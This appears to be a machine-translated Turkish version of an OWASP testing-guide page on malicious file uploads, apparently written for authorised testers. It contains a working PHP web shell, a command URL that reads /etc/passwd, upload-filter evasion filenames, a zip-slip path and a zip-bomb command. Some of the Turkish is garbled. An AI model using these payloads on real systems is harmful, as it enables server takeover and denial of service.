Test Upload of Malicious Files (Kötü Amaçlı Dosyaların Yüklenmesini Test Edin)

Summary (Özet)

Birçok uygulamanın iş süreci, kullanıcıların kendilerine veri yüklemesine olanak tanır. Giriş doğrulaması metin tabanlı girdi alanları için yaygın olarak anlaşılsa da dosyalar kabul edildiğinde uygulanması daha karmaşıktır. Birçok site, izin verilen (veya engellenen) uzantıların bir listesine dayalı basit kısıtlamalar uygulasa da, saldırganların kötü amaçlı içeriğe sahip meşru dosya türlerini yüklemesini önlemek için yeterli değildir.

Kötü amaçlı dosyaların yüklenmesiyle ilgili güvenlik açıkları, bu "kötü niyetli" dosyaların, yükleme işlemi sırasında dosyaları tarayacak ve kötü amaçlı olarak algılananları reddeden iş mantığı dahil edilerek kolayca reddedilebileceği için benzersizdir. Ek olarak, bu, dosya türü kabul edilebilirken, dosyanın hala sisteme kötü niyetli olabileceğinden beklenmedik dosyalar yüklemekten farklıdır.

Son olarak, "kötü niyetli", farklı sistemlere farklı şeyler ifade eder, örneğin SQL sunucusu güvenlik açıklarından yararlanabilecek kötü amaçlı dosyalar, bir NoSQL veri deposu kullanarak bir ortamda "kötü niyetli" olarak kabul edilmeyebilir.

Uygulama, kötü amaçlı dosya taramasına göndermeden istismar veya para kodu içeren kötü amaçlı dosyaların yüklenmesine izin verebilir. Kötü amaçlı dosyalar, uygulama mimarisinin çeşitli noktalarında tespit edilebilir ve durdurulabilir: IPS / IDS, uygulama sunucusu anti-virüs yazılımı veya dosya yüklendiğinden uygulama ile anti-virüs taraması (belki de SCAP kullanılarak taramayı boşaltır).

Example (Örnek)

Bu güvenlik açığının ortak bir örneği, kullanıcıların resim ve diğer medya dosyalarını yüklemesine olanak tanıyan bir blog veya forum gibi bir uygulamadır. Bunlar güvenli kabul edilirken, bir saldırgan uygulanabilir kod (PHP komutu gibi) yükleyebilirse, bu, işletim sistemi komutlarını yürütmelerine, dosya sisteminde bilgi okumalarına ve değiştirmelerine, arka uç

veritabanına erişmelerine ve sunucuyu tamamen tehlikeye atabilmelerine izin verebilir.

Test Objectives (Test Hedefleri)

- Dosya yükleme işlevselliğini belirleyin.
- Hangi dosya türlerinin kabul edilebilir kabul edildiğini ve hangi türlerin tehlikeli veya kötü niyetli olarak kabul edileceğini belirlemek için proje belgelerini gözden geçirin.
    - Belgeler mevcut değilse, uygulamanın amacına göre neyin uygun olacağını düşünün.
- Yüklenen dosyaların nasıl işlendiğini belirleyin.
- Test için bir dizi kötü amaçlı dosya alın veya oluşturun.
- Kötü amaçlı dosyaları uygulamaya yüklemeye çalışın ve kabul edilip işlenmediğini belirleyin.

How To Test (Nasıl Test Edilir)

Malicious File Types (Kötü Amaçlı Dosya Türleri)

Bir uygulamanın yapabileceği en basit kontroller, yalnızca güvenilir dosya türlerinin yüklenebileceğini belirlemektir.

Web Shells (Web Kabukları)

Sunucu kodu yürütmek üzere yapılandırılırsa, o zaman, keyfi kod veya işletim sistemi komutlarını yürütmenize izin veren web kabuğu olarak bilinen bir dosyayı yükleyerek sunucuda komut yürütmesi elde etmek mümkün olabilir. Bu saldırının başarılı olabilmesi için dosyanın web tabanının içine yüklenmesi ve sunucunun kodu yürütmek için yapılandırılması gerekir.

Bu tür bir kabuğu İnternet'e yüzen bir sunucuya yüklemek tehlikelidir, çünkü kabuğun yerini bilen (veya tahmin eden) herkesin sunucuda kod yürütmesine izin verir. Kabuğu izinsiz erişimden korumak için bir dizi teknik kullanılabilir:

- Kabuğu rastgele oluşturulmuş bir isimle yüklemek.
- Kabuğu koruyan şifre.

- Kabuğun IP'ye dayalı kısıtlamalar uygulanması.

İşiniz bittiğinde kabuğu çıkarmayı unutmayın.

Aşağıdaki örnek, bir GET parametresinde kendisine aktarılan işletim sistemi komutlarını yürüten ve yalnızca belirli bir IP adresinden erişilebilen basit bir PHP tabanlı kabuk gösterir:

```
<?php
   if ($_SERVER['REMOTE_HOST'] === "FIXME") { // Set your IP address here
      if(isset($_REQUEST['cmd'])){
         $cmd = ($_REQUEST['cmd']);
         echo "<pre>\n";
         system($cmd);
         echo "</pre>";
      }
   }
?>
```

Kabuk yüklendikten sonra (rastgele bir isimle), işletim sistemi komutlarını içinde geçirerek yürütebilirsiniz. `cmd` Parametre alın:

`https://example.org/7sna8uuorvcx3×4fx.php?cmd=cat+/etc/passwd`

Filter Evasion (Filtre Kaçış)

İlk adım, filtrelerin neye izin verdiğini veya engellendiğini ve nerede uygulandığını belirlemektir. Kısıtlamalar JavaScript kullanılarak istemci tarafında gerçekleştirilirse, müdahale eden bir vekil ile
önemsiz bir şekilde atlanabilirler.

Filtreleme sunucu tarafında gerçekleştirilirse, aşağıdakiler de dahil olmak üzere çeşitli teknikler atlamaya çalışılabilir:

- Değerini Değiştirin `Content-Type` olduğu gibi `image/jpeg` HTTP isteği üzerine.
- Uzantıları daha az yaygın bir uzatmaya değiştirin, örneğin `file.php5` , `file.shtml` , `file.asa` , `file.jsp` , `file.jspx` , `file.aspx` , `file.asp` , `file.phtml` , `file.cshtml`
- Uzatmanın kapitalizasyonunu değiştirmek gibi `file.PhP` ya da `file.AspX`
- Talep birden fazla dosya adı içeriyorsa, bunları farklı değerlere değiştirin.

- Uzaylar, noktalar veya gibi hüküm veranda gibi özel takip eden karakterleri kullanmak `file.asp...` , `file.php;jpg` , `file.asp%00.jpg` , `1.jpg%00.php`
- nginx'in kötü yapılandırılmış sürümlerinde, bir dosyayı yükleme gibi `test.jpg/x.php` Yürütülmesine izin verebilir `x.php` . .

Malicious File Contents (Kötü Amaçlı Dosya İçeriği)

Dosya türü onaylandıktan sonra, dosyanın içeriğinin güvenli olmasını sağlamak da önemlidir. Bunu yapmak çok daha zordur, çünkü gerekli adımlara izin verilen dosya türlerine bağlı olarak değişecektir.

Malware

Uygulamalar, kötü amaçlı bir şey içermediğinden emin olmak için genellikle yüklü dosyaları anti-malware yazılımıyla taramalıdır. Bunun için test etmenin en kolay yolu, tüm anti-malware yazılımı tarafından kötü niyetli olarak işaretlenen güvenli bir dosya olan EICAR test dosyasını kullanmaktır.

Başvuru türüne bağlı olarak, kötü amaçlı makrolar içeren Office belgeleri gibi diğer tehlikeli dosya tiplerini test etmek gerekebilir. Metasploit Framework ve Social Engineer Toolkit (SET) gibi araçlar çeşitli formatlar için kötü amaçlı dosyalar oluşturmak için kullanılabilir.

Bu dosya yüklendiğinde uygulama tarafından tespit edilmeli ve karantinaya alınmalı veya silinmelidir. Başvurunun dosyayı nasıl işlediğine bağlı olarak, bunun gerçekleşip gerçekleşmediği belli olmayabilir.

Archive Directory Traversal (Arşiv Dizin Çaprazlama)

Uygulama arşivleri (Zip dosyaları gibi) çıkarırsa, dizin geçişi kullanarak istenmeyen yerlere yazmak mümkün olabilir. Bu, dosya sistemini takip eden yolları içeren kötü amaçlı bir fermuarlı dosya
yükleyerek istismar edilebilir.
`..\..\..\..\shell.php` . . Bu teknik, snyk danışmanlığında daha fazla tartışılmaktadır.

Zip Bombs (Zip Bombaları)

Bir Zip bombası (daha genel olarak dekompresyon bombası olarak bilinir), büyük miktarda
veri içeren bir arşiv dosyasıdır. Arşivi çıkarmaya çalışan hedef sistemin disk alanını

veya hafızasını tüketerek hizmet reddine neden olmayı amaçlamaktadır. Zip formatının bunun en örneği olmasına rağmen, gzip (verileri transit olarak sıkıştırmak için sıklıkla kullanılan) dahil olmak üzere diğer formatların da etkilendiğini unutmayın.

En basit seviyesinde, tek bir karakterden oluşan büyük bir dosyayı sıkıştırarak bir Zip bombası oluşturulabilir. Aşağıdaki örnek, 1GB'a kadar dekompresyon yapacak bir 1MB dosyasının nasıl oluşturulacağını göstermektedir:

```
dd if=/dev/zero bs=1M count=1024 | zip -9 > bomb.zip
```

Birden fazla sıkıştırma seviyesi, Zip formatını ve kuytuları kötüye kullanmak (kendilerinin bir kopyasını içeren, sonsuz tekrarlamaya neden olan arşivler) dahil olmak üzere çok daha yüksek sıkıştırma oranları elde etmek için kullanılabilecek bir dizi yöntem vardır.

Başarılı bir Zip bombalı saldırısı hizmet reddi ile sonuçlanacak ve aynı zamanda otomatik ölçeklendirici bir bulut platformunun kullanılması durumunda maliyetlerin artmasına neden olabilir. **Bu riskleri düşünmediğiniz ve bunu yapmak için yazılı onayınız olmadıkça bu tür bir saldırıyı gerçekleştirmeyin.**

XML Files (XML Dosyaları)

XML dosyaları, XML eXternal Entities (XXE) ve milyar kahkaha saldırısı gibi hizmet saldırılarının reddedilmesi gibi bir dizi potansiyel güvenlik açığına sahiptir.

Bunlar XML Enjeksiyon Kılavuzu için Test'te daha fazla tartışılmaktadır.

Other File Formats (Diğer Dosya Biçimleri)

Diğer birçok dosya formatı da aşağıdakiler gibi dikkate alınması gereken özel güvenlik endişelerine de sahiptir:

- CSV dosyaları CSV enjeksiyon saldırılarına izin verebilir.
- Ofis dosyaları kötü amaçlı makrolar veya PowerShell kodu içerebilir.
- PDF'ler kötü amaçlı JavaScript içerebilir.

İzin verilen dosya formatları, potansiyel olarak tehlikeli işlevsellik için dikkatlice gözden geçirilmelidir ve test sırasında bunu kullanmak için olası girişimlerde bulunulmalıdır.

Source Code Review (Kaynak Kod İncelemesi)

Desteklenen dosya yükleme özelliği olduğunda, aşağıdaki API / yöntem kaynak kodunda bulunması yaygındır.

- Java: `new file` , `import` , `upload` , `getFileName` , `Download` , `getOutputString`
- C / C ++: `open` , `fopen`
- PHP: `move_uploaded_file()` , `Readfile` , `file_put_contents()` , `file()` , `parse_ini_file()` , `copy()` , `fopen()` , `include()` , `require()`

Related Test Cases (İlgili Test Vakaları)

- Test File Extensions Handling for Sensitive Information
- Testing for XML Injection
- Test Upload of Unexpected File Types

Remediation (Düzeltme)

Kötü amaçlı dosya yüklemesine karşı tamamen korunmak karmaşık olabilir ve gerekli olan tam adımlar, yüklenen dosyalara ve dosyaların sunucuda nasıl işlendiğine veya ayrıştırıldığına bağlı olarak değişecektir. Bu, Dosya Yükü Cheat Sheet'te daha ayrıntılı olarak tartışılır.

Tools (Araçlar)

- Metasploit'in yük üretim işlevselliği
- Vekalete müdahale etmek

References (Referanslar)

- OWASP - File Upload Cheat Sheet
- OWASP - Unrestricted File Upload
- Why File Upload Forms are a Major Security Threat
- Overview of Malicious File Upload Attacks
- 8 Basic Rules to Implement Secure File Uploads
- Stop people uploading malicious PHP files via forms

- How to Tell if a File is Malicious
- CWE-434: Unrestricted Upload of File with Dangerous Type
- Implementing Secure File Upload
- Metasploit Generating Payloads